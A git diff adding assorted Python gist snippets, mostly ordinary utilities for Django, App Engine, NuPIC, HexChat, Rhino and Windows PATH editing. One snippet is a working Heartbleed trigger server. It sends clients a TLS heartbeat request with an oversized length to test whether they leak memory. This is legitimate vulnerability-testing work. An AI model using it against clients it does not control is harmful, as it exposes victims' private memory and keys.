+        while self._in_val_list(val_list, value, norm):
+            val_list.remove(value)
+
+        self.write_list(key, val_list, sep=sep)
+
+    def read(self, key):
+        """Read and return the given environment variable from the registry.
+
+        Caches the key's type for use with L{write}.
+        """
+        key_val, key_type = winreg.QueryValueEx(self.env, key)
+        self.val_type_cache[key] = key_type
+        return key_val
+
+    def read_list(self, key, sep=DEFAULT_SEP):
+        """Call L{read} and process its output into a list.
+
+        Defaults to sep=C{os.pathsep}
+
+        @raises TypeError: Returned value is not C{REG_SZ} or C{REG_EXPAND_SZ}
+        """
+        key_val = self.read(key)
+
+        if self.val_type_cache[key] not in (winreg.REG_EXPAND_SZ, winreg.REG_SZ):
+            raise TypeError("Environment variable not a string: %s" % key)
+
+        return key_val.split(sep)
+
+    def write(self, key, value, type=None):
+        """Write the given value to the registry.
+
+        Will use the cached value type if not provided.
+
+        @raises KeyError: type=C{None} and key not in cache.
+        """
+        type = type or self.val_type_cache[key]
+        winreg.SetValueEx(self.env, key, 0, type, value)
+
+    def write_list(self, key, value, type=None, sep=DEFAULT_SEP):
+        """Convenience wrapper for L{write} which mirrors L{read_list}."""
+        self.write(key, sep.join(value), type)
+
+if __name__ == '__main__':
+    #NOTE: Example usage only. Command-line syntax will change.
+    from optparse import OptionParser
+    parser = OptionParser(
+        usage="%prog <Path to add to %PATH%>",
+        version="%%prog v%s" % __version__)
+
+    opts, args = parser.parse_args()
+
+    if len(args) != 1:
+        parser.print_help()
+        sys.exit(1)
+
+    try:
+        if not self_is_elevated():
+            elevate()
+            sys.exit(0)
+    except ImportError:
+        print("Unable to import PyWin32. Skipping privilege elevation.")
+
+    env = WinEnv()
+    env.add(KEY_PATH, args[0])
+
+    try:
+        env.announce()
+    except ImportError:
+        print("Unable to import PyWin32. Skipping announce()")
+
diff --git a/hard-gists/101323115e70bb6671d3/._snippet.py b/hard-gists/101323115e70bb6671d3/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/101323115e70bb6671d3/._snippet.py differ
diff --git a/hard-gists/101323115e70bb6671d3/snippet.py b/hard-gists/101323115e70bb6671d3/snippet.py
new file mode 100644
index 00000000..49af5f2a
--- /dev/null
+++ b/hard-gists/101323115e70bb6671d3/snippet.py
@@ -0,0 +1,194 @@
+'''
+Created on Feb 8, 2015
+
+@author: David Ray
+'''
+
+import numpy as np
+
+from nupic.encoders.scalar import ScalarEncoder as ScalarEncoder
+from nupic.algorithms.CLAClassifier import CLAClassifier as CLAClassifier
+from nupic.research.spatial_pooler import SpatialPooler as SpatialPooler
+from nupic.research.temporal_memory import TemporalMemory as TemporalMemory
+from nupic.algorithms import anomaly
+
+
+class Layer():
+    
+    """ Makeshift Layer to contain and operate on algorithmic entities """
+    
+    def __init__(self, encoder, sp, tm, classifier):
+        
+        self.encoder = encoder
+        self.sp = sp
+        self.tm = tm
+        self.classifier = classifier
+        self.theNum = 0
+        self.weeksAnomaly = 0.0
+        self.settleWeek = 0
+        
+        
+    def input(self, value, recordNum, sequenceNum):
+        """ Feed the incremented input into the Layer components """
+         
+        if recordNum == 1:
+            recordOut = "Monday (1)"
+        elif recordNum == 2:
+            recordOut = "Tuesday (2)"
+        elif recordNum == 3:
+            recordOut = "Wednesday (3)"
+        elif recordNum == 4:
+            recordOut = "Thursday (4)"
+        elif recordNum == 5:
+            recordOut = "Friday (5)"
+        elif recordNum == 6:
+            recordOut = "Saturday (6)"
+        else: recordOut = "Sunday (7)"
+        
+        if recordNum == 1:
+            self.theNum += 1
+             
+            print "--------------------------------------------------------"
+            print "Iteration: " + str(self.theNum)
+            
+            self.weeksAnomaly = 0
+            
+        print "===== " + str(recordOut) + " - Sequence Num: " + str(sequenceNum) + " ====="
+        
+        output = np.zeros(sp._columnDimensions)
+        
+        # Input through encoder
+        print "ScalarEncoder Input = " + str(value)
+        encoding = encoder.encode(value)
+        print "ScalarEncoder Output = " + str(encoding)
+        bucketIdx = encoder.getBucketIndices(value)[0]
+        
+        # Input through spatial pooler
+        sp.compute(encoding, True, output)
+        print "SpatialPooler Output = " + str(output)
+        
+        # Input through temporal memory
+        activesCols = sorted(set(np.where(output > 0)[0].flat))
+        tm.compute(activesCols, True)        
+        activeCells = tm.getActiveCells() #getSDR(tm.predictiveCells)
+        predictiveCells = tm.getPredictiveCells()
+        print "TemporalMemory Input = " + str(input)
+        
+        # Input into Anomaly Computer
+        predictiveCols = set()
+        for c in predictiveCells:
+            predictiveCols.add(tm.columnForCell(c))
+        predictiveCols = sorted(predictiveCols)
+        score = anomaly.computeRawAnomalyScore(activesCols, predictiveCols)
+        print "input: " + str(activesCols)
+        print "predi: " + str(predictiveCols) 
+        print "Anomaly Score: " + str(score)
+        self.weeksAnomaly += score
+        
+        if recordNum == 7 and self.weeksAnomaly == 0 and self.settleWeek == 0:
+            self.settleWeek = self.theNum
+        
+        
+        # Input into classifier
+        retVal = classifier.compute(recordNum,
+            patternNZ=activeCells,
+            classification= {'bucketIdx': bucketIdx, 'actValue':value},
+            learn=True,
+            infer=True
+        )
+        
+        print "TemporalMemory Prediction = " + str(getSDR(activeCells)) +\
+        "  |  CLAClassifier 1 step prob = " + str(retVal[1]) 
+        print ""
+        
+    def getWeeksAnomaly(self):
+        return self.weeksAnomaly
+    
+    def getWeek(self):
+        return self.theNum
+    
+    def getSettleWeek(self):
+        return self.settleWeek
+
+def getSDR(cells):
+    retVal = set()
+    for cell in cells:
+        retVal.add(cell / tm.cellsPerColumn)
+    return retVal     
+        
+def runThroughLayer(layer, recordNum, sequenceNum):
+    
+    layer.input(recordNum, recordNum, sequenceNum)        
+        
+        
+if __name__ == '__main__':
+    encoder = ScalarEncoder(
+        n = 8,
+        w = 3,
+        radius = 0,
+        minval = 1,
+        maxval = 8,
+        periodic = True,
+        forced = True,
+        resolution = 0
+    )
+    
+    sp = SpatialPooler(
+        inputDimensions = (8),
+        columnDimensions = (20),
+        potentialRadius = 12,
+        potentialPct = 0.5,
+        globalInhibition = True,
+        localAreaDensity = -1.0,
+        numActiveColumnsPerInhArea = 5.0,
+        stimulusThreshold = 1.0,
+        synPermInactiveDec = 0.0005,
+        synPermActiveInc = 0.0015,
+        synPermConnected = 0.1,
+        minPctOverlapDutyCycle = 0.1,
+        minPctActiveDutyCycle = 0.1,
+        dutyCyclePeriod = 10, 
+        maxBoost = 10.0,
+        seed = 42,
+        spVerbosity = 0
+    )
+    
+    tm = TemporalMemory(
+        columnDimensions = (20,),
+        cellsPerColumn = (6),
+        initialPermanence = 0.2,
+        connectedPermanence = 0.8,
+        minThreshold = 5,
+        maxNewSynapseCount = 6,
+        permanenceDecrement = 0.1,
+        permanenceIncrement = 0.1,
+        activationThreshold = 4
+    )
+    
+    classifier = CLAClassifier(
+        steps = [1],
+        alpha = 0.1,
+        actValueAlpha = 0.3,
+        verbosity = 0
+    )
+    
+    sp.printParameters()
+    print ""
+    
+    layer = Layer(encoder, sp, tm, classifier)
+    
+    firstWeek = 0
+    
+    i = 1
+    for x in range(2000):
+        if i == 1:
+            tm.reset()
+            if firstWeek == 0 and layer.getWeeksAnomaly() > 0 and layer.getWeeksAnomaly() < 7.0:
+                firstWeek = layer.getWeek()
+            
+        runThroughLayer(layer, i, x)
+        i = 1 if i == 7 else i + 1
+        
+    print "firstWeek = " + str(firstWeek)
+    print "settleWeek = " + str(layer.getSettleWeek())    
+    
\ No newline at end of file
diff --git a/hard-gists/10206392/._snippet.py b/hard-gists/10206392/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/10206392/._snippet.py differ
diff --git a/hard-gists/10206392/snippet.py b/hard-gists/10206392/snippet.py
new file mode 100644
index 00000000..e2bf57aa
--- /dev/null
+++ b/hard-gists/10206392/snippet.py
@@ -0,0 +1,40 @@
+import hexchat
+import re
+
+__module_name__ = "Temp Ban"
+__module_version__ = "1.0"
+__module_description__ = "Easy command to tempban someone and kick them, requires InspIRCd and the m_timedbans module"
+
+
+def formatTime(timestamp):
+	multipliers = {"y": "year", "w": "week", "h": "hour", "d": "day", "m": "minute", "s": "second"}
+	parts = re.findall(r'\d+\D', timestamp)
+	finalFormat = ""
+	for part in parts:
+		split = re.split(r'(\D)', part)
+		time = split[0]
+		multiplier = split[1]
+		finalFormat += time + " "
+		finalFormat += multipliers[multiplier] + " " if int(time) == 1 else multipliers[multiplier] + "s "
+	return finalFormat.strip()
+
+def tempban(word, word_eol, userdata):
+	if len(word) < 3:
+		print(userdata)
+		return hexchat.EAT_ALL
+
+	nick = word[1]
+	time = word[2]
+	channel = hexchat.get_info("channel")
+	users = hexchat.get_list("users")
+	for user in users:
+		if user.nick.lower() == nick.lower() and user.host is not None:
+			host = user.host.split("@")[1]
+			tbanCommand = "tban {} {} *!*@{}".format(channel, time, host)
+			hexchat.command(tbanCommand)
+			reason = word_eol[3] if len(word) > 3 else "Temp banned"
+			hexchat.command("kick {} TEMPBAN: {} ({})".format(nick, reason, formatTime(time)))
+			return hexchat.EAT_ALL
+	hexchat.command("tban {} {} {}".format(channel, time, nick))
+
+hexchat.hook_command("tempban", tempban, "Command is /tempban <nick> <time> [reason]")
\ No newline at end of file
diff --git a/hard-gists/1023456/._snippet.py b/hard-gists/1023456/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1023456/._snippet.py differ
diff --git a/hard-gists/1023456/snippet.py b/hard-gists/1023456/snippet.py
new file mode 100644
index 00000000..da58d89c
--- /dev/null
+++ b/hard-gists/1023456/snippet.py
@@ -0,0 +1,35 @@
+import scriptcontext
+import time
+import System
+import Rhino
+
+rc, view = Rhino.Input.RhinoGet.GetView("select view")
+
+print "position mouse where you want"
+for i in [5,4,3,2,1]:
+    time.sleep(0.5)
+    print i
+
+screen_point = System.Windows.Forms.Cursor.Position
+print "screen_point =", screen_point
+
+# convert screen coordinates to the client coordinates of
+# the active view
+view = scriptcontext.doc.Views.ActiveView
+view_screen_rect = view.ScreenRectangle
+x, y = screen_point.X - view_screen_rect.Left, screen_point.Y - view_screen_rect.Top
+view_client_point = System.Drawing.Point(x, y)
+print "view_client_point =", view_client_point
+
+# convert the client coordinates of the view to the client
+# coordinates of the active viewport (there are only multiple
+# active viewports when working in layouts)
+viewport = view.ActiveViewport
+rc, viewport_point = viewport.ClientToScreenPort(view_client_point)
+print "viewport_point =", viewport_point
+rc, line = viewport.GetFrustumLine(viewport_point.X, viewport_point.Y)
+
+if rc:
+    scriptcontext.doc.Objects.AddPoint(line.From)
+    scriptcontext.doc.Objects.AddPoint(line.To)
+    scriptcontext.doc.Views.Redraw();
\ No newline at end of file
diff --git a/hard-gists/10235798/._snippet.py b/hard-gists/10235798/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/10235798/._snippet.py differ
diff --git a/hard-gists/10235798/snippet.py b/hard-gists/10235798/snippet.py
new file mode 100644
index 00000000..faf0f73a
--- /dev/null
+++ b/hard-gists/10235798/snippet.py
@@ -0,0 +1,8 @@
+from django.http import HttpResponse
+
+PIXEL_GIF_DATA = """
+R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7
+""".strip().decode('base64')
+
+def pixel_gif(request):
+    return HttpResponse(PIXEL_GIF_DATA, content_type='image/gif')
diff --git a/hard-gists/1025525/._snippet.py b/hard-gists/1025525/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1025525/._snippet.py differ
diff --git a/hard-gists/1025525/snippet.py b/hard-gists/1025525/snippet.py
new file mode 100644
index 00000000..c48ced32
--- /dev/null
+++ b/hard-gists/1025525/snippet.py
@@ -0,0 +1,40 @@
+#!/usr/bin/env python
+# Load the Django environment
+from django.core.management import setup_environ
+import os
+import sys
+
+try:
+    project_path = os.environ['DJANGO_PROJECT_PATH']
+except KeyError:
+    raise Exception("Unable to locate Django project.  Set your operating "
+                    "system's DJANGO_PROJECT_PATH environment variable to "
+                    "point to the root of the Django project.")
+
+if project_path not in sys.path:
+    sys.path.append(project_path)
+
+settings_module = os.environ.get('DJANGO_SETTINGS_MODULE')
+if settings_module:
+    settings = __import__(settings_module)
+else:
+    import settings
+setup_environ(settings)
+# End Django environment load.
+import argparse
+from django.db import connection, transaction
+
+parser = argparse.ArgumentParser(description='Executes a raw database script on a Django project.')
+parser.add_argument('filenames', action='append', metavar='FILE', type=str,
+                    help='A file name or list of file names of database '
+                         'scripts to be executed.')
+args = parser.parse_args()
+
+cursor = connection.cursor()
+for filename in args.filenames:
+    f = open(filename)
+    response = cursor.execute(f.read())
+    f.close()
+    rows = cursor.fetchall()
+    for row in rows:
+        print repr(row)
\ No newline at end of file
diff --git a/hard-gists/1025736/._snippet.py b/hard-gists/1025736/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1025736/._snippet.py differ
diff --git a/hard-gists/1025736/snippet.py b/hard-gists/1025736/snippet.py
new file mode 100644
index 00000000..fd765e19
--- /dev/null
+++ b/hard-gists/1025736/snippet.py
@@ -0,0 +1,221 @@
+import cgi
+
+from google.appengine.api import mail
+from google.appengine.ext import deferred
+
+from ndb import model
+from tipfy.routing import url_for
+from tipfyext.ndb.mixins import DateMixin
+
+
+class _FormattableContent(model.Model):
+    raw = model.TextProperty(required=True)
+    html = model.TextProperty(required=False)
+
+class _DisplayState(model.Model):
+    """Structured Property for listing User Keys and the
+        state of the Message / Thread for that user
+    """
+    user_key = model.KeyProperty()
+    # State assumes a certain flow, i.e. a message cannot be
+    # archived until it has been read.
+    # 0 - unread
+    # 1 - read
+    # 2 - archived
+    # 3 - deleted
+    # 4 - reported
+    state = model.IntegerProperty(default=0)
+
+    @staticmethod
+    def label_to_integer(label):
+        if label == 'unread':
+            return 0
+        if label == 'read':
+            return 1
+        if label == 'archived':
+            return 2
+        if label == 'deleted':
+            return 3
+        if label == 'reported':
+            return 4
+
+class Message(model.Model, DateMixin):
+    sender_key = model.KeyProperty()
+    subject = model.StringProperty()
+    body = model.LocalStructuredProperty(_FormattableContent)
+    recipients = model.StructuredProperty(_DisplayState, repeated=True)
+
+    @property
+    def sent_at(self):
+        return self.created
+
+    @property
+    def sender(self):
+        """
+        :return:
+            A User object from the stored sender_key
+        """
+        return self.sender_key.get()
+
+    @classmethod
+    def create(cls, sender_key, body, recipient_keys, **kwargs):
+        """Creates a new message and returns it.
+
+        :param sender_key:
+            Key of the message sender.
+        :param body:
+            The raw message body, usually coming from a text field.
+        :return:
+            The newly created message.
+        """
+        kwargs['sender_key'] = sender_key
+        if not kwargs['subject']:
+            kwargs['subject'] = '%s...' % body[0:25]
+        escaped_body = cgi.escape(body)
+        html_body = escaped_body
+        kwargs['body'] = _FormattableContent(raw=body, html=html_body)
+        message = cls(**kwargs)
+        message.recipients = [_DisplayState(user_key=r, state=0)
+                              for r in recipient_keys]
+        message.put()
+        return message
+
+class Thread(model.Model, DateMixin):
+    message_keys = model.KeyProperty(repeated=True)
+    private = model.BooleanProperty(default=False)
+    participants = model.StructuredProperty(_DisplayState, repeated=True)
+
+    @property
+    def messages(self):
+        return model.get_multi(self.message_keys)
+
+    @property
+    def latest_message(self):
+        if self.messages:
+            messages = self.messages
+            msg_len = len(messages)
+            return messages[msg_len - 1]
+        else:
+            return None
+
+    @property
+    def latest_subject(self):
+        return self.latest_message.subject
+
+    @property
+    def senders(self):
+        return [m.sender for m in self.messages]
+
+    @property
+    def latest_sender(self):
+        return self.latest_message.sender
+
+    def add_participant(self, new_user_key, state=0):
+        """
+        
+        :param new_user_key:
+        :param state:
+        :return:
+        """
+        new_participant = _DisplayState(user_key=new_user_key, state=state)
+        self.participants.append(new_participant)
+        return self.participants
+
+    def add_participants(self, user_keys):
+        existing_user_keys = [p.user_key for p in self.participants]
+        new_user_keys = set(user_keys) - set(existing_user_keys)
+        for new_user_key in new_user_keys:
+            self.add_participant(new_user_key)
+        return self.participants
+
+    @classmethod
+    def get_active(cls, user_key):
+        """Active threads are threads in the User's inbox
+        """
+        return cls.query(
+            cls.participants.user_key == user_key,
+            cls.participants.state <= 1,
+        )
+
+    @classmethod
+    def get_archived(cls, user_key):
+        """Archived threads are threads that have the state set to
+        `archived` by the user
+        """
+        return cls.query(
+            cls.participants.user_key == user_key,
+            cls.participants.state == 2
+        )
+
+    @classmethod
+    def get_reported(cls, user_key):
+        """Reported threads are threads that have been marked as
+        Spam by the user
+        """
+        return cls.query().filter(
+            cls.participants.user_key == user_key,
+            cls.participants.state == 4
+        )
+
+    @classmethod
+    def get_private(cls, sender_key, recipient_key):
+        """Get or create the private thread for two Users.
+
+        Private threads are threads that only have 2 participants.
+
+        :param sender_key:
+            Key or the message sender
+        :param recipient_key:
+            Key or the message recipient
+        :return:
+            Query object.
+        """
+        return cls.query(cls.private == True,
+                         cls.participants.user_key == sender_key,
+                         cls.participants.user_key == recipient_key)
+
+        
+    @classmethod
+    def create_message(cls, sender_id, body, recipient_ids=None,
+                       subject=None, thread_id=None, thread=None, **kwargs):
+        """Create a message from a user with recipient(s) and optional thread
+
+        """
+        # if we were pass a thread;
+        if thread_id and not thread:
+            thread = thread_id.get()
+        if not recipient_ids:
+            recipient_ids = [p.user_key for p in thread.participants]
+        if not isinstance(recipient_ids, list):
+            recipient_ids = [recipient_ids]
+        if not thread:
+            if len(recipient_ids) is 1:
+                qry = cls.get_private(
+                    sender_id,
+                    recipient_ids[0]
+                )
+                thread = qry.get()
+                if not thread:
+                    thread = Thread(
+                        private=True
+                    )
+            else:
+                thread = Thread(
+                    private=False
+                )
+
+        message = Message.create(
+            sender_key=sender_id,
+            recipient_keys=recipient_ids,
+            subject=subject,
+            body=body,
+        )
+
+        thread.message_keys.append(message.key)
+
+        recipient_ids.append(sender_id)
+        thread.add_participants(recipient_ids)
+        thread.put()
+
+        return thread
+
diff --git a/hard-gists/10281460/._snippet.py b/hard-gists/10281460/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/10281460/._snippet.py differ
diff --git a/hard-gists/10281460/snippet.py b/hard-gists/10281460/snippet.py
new file mode 100644
index 00000000..20bfb2de
--- /dev/null
+++ b/hard-gists/10281460/snippet.py
@@ -0,0 +1,25 @@
+#!/usr/bin/python3
+# openssl-heartbleed-server.py
+# Check TLS clients for OpenSSL Heartbleed vulnerability.
+
+import socketserver
+import struct
+import random
+
+
+class HeartbleedServer(socketserver.BaseRequestHandler):
+    def handle(self):
+        tlsRecord = self.request.recv(5)
+        tlsType, tlsVersion, tlsLen = struct.unpack("!BHH", tlsRecord)
+        tlsClientHello = self.request.recv(tlsLen)
+        tlsServerHello = bytes.fromhex("02 00 00 2d") + struct.pack("!H", tlsVersion) + bytes.fromhex("".join([random.choice("0123456789abcdef") for i in range(64)]) + "00 00 2f 00 00 05 00 0f 00 01 01")
+        #tlsServerHello = bytes.fromhex("02 00 00 28") + struct.pack("!H", tlsVersion) + bytes.fromhex("".join([random.choice("0123456789abcdef") for i in range(64)]) + "00 00 2f 00 00 00")
+        tlsRecord = bytes.fromhex("16") + struct.pack("!H", tlsVersion) + struct.pack("!H", len(tlsServerHello)) + tlsServerHello
+        self.request.sendall(tlsRecord) # Server Hello
+        self.request.sendall(bytes.fromhex("16") + struct.pack("!H", tlsVersion) + bytes.fromhex("0cca0b000cc6000cc30004b8308204b43082039ca00302010202121121da02750f07be3b3a769119c4c55a97f2300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d7361312d302b06035504031324476c6f62616c5369676e20446f6d61696e2056616c69646174696f6e204341202d204732301e170d3131303833303130333035305a170d3134313031333137313430355a3048310b30090603550406130247423121301f060355040b1318446f6d61696e20436f6e74726f6c2056616c6964617465643116301406035504030c0d2a2e6f70656e73736c2e6f726730820122300d06092a864886f70d01010105000382010f003082010a0282010100b9234e1db5ef87b2ce43756ac3111cd2f732f3f7929bede686c3b793935e7d326a2b03b72ac8809891414008acdea67a7c4f448b9cd8d38771f24e3e54d7a41181b7716887c1c9af2afab274a370a14d19068d1c9504149c8f1ff098c1c070fab1101d77da801453a55cbe059a43f454f370f47139ea509ce6a8d078a6301e6d4d2210dd152d50005dd9c9d2a6b9db7fadd8ebef651fcebb8d4e5195846e9516ef0bf07bff2d6c1b816ccae0253d2a5c6fadce4b5c467cb1a9f4ea7202a1cc87638519520123048e2ab494de6d6913650b705f921a446841cd80efc9e983d81e9586c71a51af3daaca9719e0b4698775e1099a53cdf543cf2b1de781201e97250203010001a382018730820183300e0603551d0f0101ff0404030205a0304c0603551d2004453043304106092b06010401a032010a3034303206082b06010505070201162668747470733a2f2f7777772e676c6f62616c7369676e2e636f6d2f7265706f7369746f72792f30250603551d11041e301c820d2a2e6f70656e73736c2e6f7267820b6f70656e73736c2e6f726730090603551d1304023000301d0603551d250416301406082b0601050507030106082b06010505070302303f0603551d1f043830363034a032a030862e687474703a2f2f63726c2e676c6f62616c7369676e2e636f6d2f67732f6773646f6d61696e76616c67322e63726c305106082b0601050507010104453043304106082b060105050730028635687474703a2f2f7365637572652e676c6f62616c7369676e2e636f6d2f6361636572742f6773646f6d61696e76616c67322e637274301d0603551d0e04160414ec817d47a8c019a7bc6b525eb690fb17ae7f418f301f0603551d2304183016801496adfab05bb983642a76c21c8a69da42dcfefd28300d06092a864886f70d010105050003820101009e7e7fda256f233f641c9d0495d3fb903f25e24d37570d0b552a29513ff9235afad9ca7339960079b458bad99ab3ebd3c28861c8fa0e098595a50e27fd05d97321ed7d96a35541274b42518f0d764d6cc5f40078f71a11859eb144a2032f136ac26809287bd8b3152cb82705dfc2dc0c3f0ec594d7500040d61a4d429290fc5ed9081dce7079c3ac337a5545d8282438a00bcd754b3244a9bc16aee9325e875b93566d76f2fb6613017e879a08195b52934129aa833429f243e19a96bfb07028b88a483c5f55278aee3d229df2b82668181eaee037746b42c51601393f2e16ae88887bfef4aeb33475686dbfee5dcd9f247a3dc646efa2f51b5d1045bde739b3000379308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0000489308204853082036da003020102020b0400000000012f4ee13f11300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3131303431333130303030305a170d3232303431333130303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d7361312d302b06035504031324476c6f62616c5369676e20446f6d61696e2056616c69646174696f6e204341202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100b1a3cdc0df334026ebde5ad79466d40163cc334489e0e2b8c2470d8fad69861ca873420bf172fb2dacb511728322f656e72ec567719d001c32bce3ed2e0845a9e6faddc88c8305c16f4bd0264a0bf61b45c04d7e93bc0d2784ed30a3e9c62626dd2d1fd88bc3ce19d05bfc089fe4d8e235e4a068a6f60da3746042b29782248e41a4f22e5eb68ea76ed96c7f0d3b24356ad0ab5b6af79702003f51a6a76e73ca770d767c9bb6301a1a9cf71f287b0e8b471fe77f058cc6c9c8bbcfe9dc7a412ea186dad439b2e21340a6a83afa0f531e4fec6e98091bca9a77b3558585e92e16b59d5e54f14a7a6c39ba6e170634b3b242e1f7f39c9a0b1144de6a788eb1134f0203010001a38201503082014c300e0603551d0f0101ff04040302010630120603551d130101ff040830060101ff020100301d0603551d0e0416041496adfab05bb983642a76c21c8a69da42dcfefd2830470603551d200440303e303c0604551d20003034303206082b06010505070201162668747470733a2f2f7777772e676c6f62616c7369676e2e636f6d2f7265706f7369746f72792f30330603551d1f042c302a3028a026a0248622687474703a2f2f63726c2e676c6f62616c7369676e2e6e65742f726f6f742e63726c303d06082b060105050701010431302f302d06082b060105050730018621687474703a2f2f6f6373702e676c6f62616c7369676e2e636f6d2f726f6f74723130290603551d250422302006082b0601050507030106082b06010505070302060a2b0601040182370a0303301f0603551d23041830168014607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d010105050003820101007e9a13397169a0fc8c35acafb4d6de64ea336f95539271ad4cc0fbd06bba800ec20ae637fad225a322f7899f5212432fbbc4fc6ccee4aa9df69d577bcc2aac75491b5466cfa7e9b9b0c27c7023fb9c9700f225a4d9a10a5d85061d1a87f52d54c564218eacaaec193e9bffc067a72e00e3f18140005b83e2a8a7ef355083c0f49b882a89a9a99c2f82b9189efaeb47246e13eeb28cf042375ee68f91bca55f512baebb8c76314e531179ec114e3873e51a6670f482f77b1055f8bba5c31de5d3f6bcfa28b63110d5fe9123a4213fba4c918f87c782ab38c2017389481af90c91b995fb6d215f03c8bf7b74ef7b7179b53e7323d15adca60ce12d646591bec2b9"))
+        self.request.sendall(bytes.fromhex("18") + struct.pack("!H", tlsVersion) + bytes.fromhex("00 03 01 ff ff")) # Heartbeat request
+        
+
+### Main ###
+server = socketserver.TCPServer(("", 4433), HeartbleedServer)
+server.serve_forever()
diff --git a/hard-gists/1029336/._snippet.py b/hard-gists/1029336/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1029336/._snippet.py differ
diff --git a/hard-gists/1029336/snippet.py b/hard-gists/1029336/snippet.py
new file mode 100644
index 00000000..b3eb1422
--- /dev/null
+++ b/hard-gists/1029336/snippet.py
@@ -0,0 +1,53 @@
+from django.views.generic.base import View, TemplateResponseMixin
+from django.views.generic.edit import FormMixin, ProcessFormView
+
+
+class MultipleFormsMixin(FormMixin):
+    """
+    A mixin that provides a way to show and handle several forms in a
+    request.
+    """
+    form_classes = {} # set the form classes as a mapping
+
+    def get_form_classes(self):
+        return self.form_classes
+
+    def get_forms(self, form_classes):
+        return dict([(key, klass(**self.get_form_kwargs())) \
+            for key, klass in form_classes.items()])
+
+    def forms_valid(self, forms):
+        return super(MultipleFormsMixin, self).form_valid(forms)
+
+    def forms_invalid(self, forms):
+        return self.render_to_response(self.get_context_data(forms=forms))
+
+
+class ProcessMultipleFormsView(ProcessFormView):
+    """
+    A mixin that processes multiple forms on POST. Every form must be
+    valid.
+    """
+    def get(self, request, *args, **kwargs):
+        form_classes = self.get_form_classes()
+        forms = self.get_forms(form_classes)
+        return self.render_to_response(self.get_context_data(forms=forms))
+
+    def post(self, request, *args, **kwargs):
+        form_classes = self.get_form_classes()
+        forms = self.get_forms(form_classes)
+        if all([form.is_valid() for form in forms.values()]):
+            return self.forms_valid(forms)
+        else:
+            return self.forms_invalid(forms)
+
+
+class BaseMultipleFormsView(MultipleFormsMixin, ProcessMultipleFormsView):
+    """
+    A base view for displaying several forms.
+    """
+
+class MultipleFormsView(TemplateResponseMixin, BaseMultipleFormsView):
+    """
+    A view for displaing several forms, and rendering a template response.
+    """
\ No newline at end of file
diff --git a/hard-gists/10295174/._snippet.py b/hard-gists/10295174/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/10295174/._snippet.py differ
diff --git a/hard-gists/10295174/snippet.py b/hard-gists/10295174/snippet.py
new file mode 100644
index 00000000..518ab6ea
--- /dev/null
+++ b/hard-gists/10295174/snippet.py
@@ -0,0 +1,207 @@
+from pylearn2.datasets.dataset import Dataset
+from pylearn2.datasets.dense_design_matrix import DenseDesignMatrix
+
+from pylearn2.utils.iteration import (SequentialSubsetIterator,
+  FiniteDatasetIterator,
+  resolve_iterator_class)
+import functools
+import logging
+import numpy
+import warnings
+from pylearn2.space import CompositeSpace, Conv2DSpace, VectorSpace, IndexSpace
+from pylearn2.utils import safe_zip
+
+try:
+    import scipy.sparse
+except ImportError:
+    warnings.warn("Couldn't import scipy.sparse")
+import theano
+import gzip
+floatX = theano.config.floatX
+logger = logging.getLogger(__name__)
+
+
+def getNVis(dataset):
+  print "Visible layers: ",
+  print dataset.X.shape[1]
+  return dataset.X.shape[1]
+
+def getOutputClasses(dataset):
+  print "Output classes: ",
+  print dataset.y.shape[1]
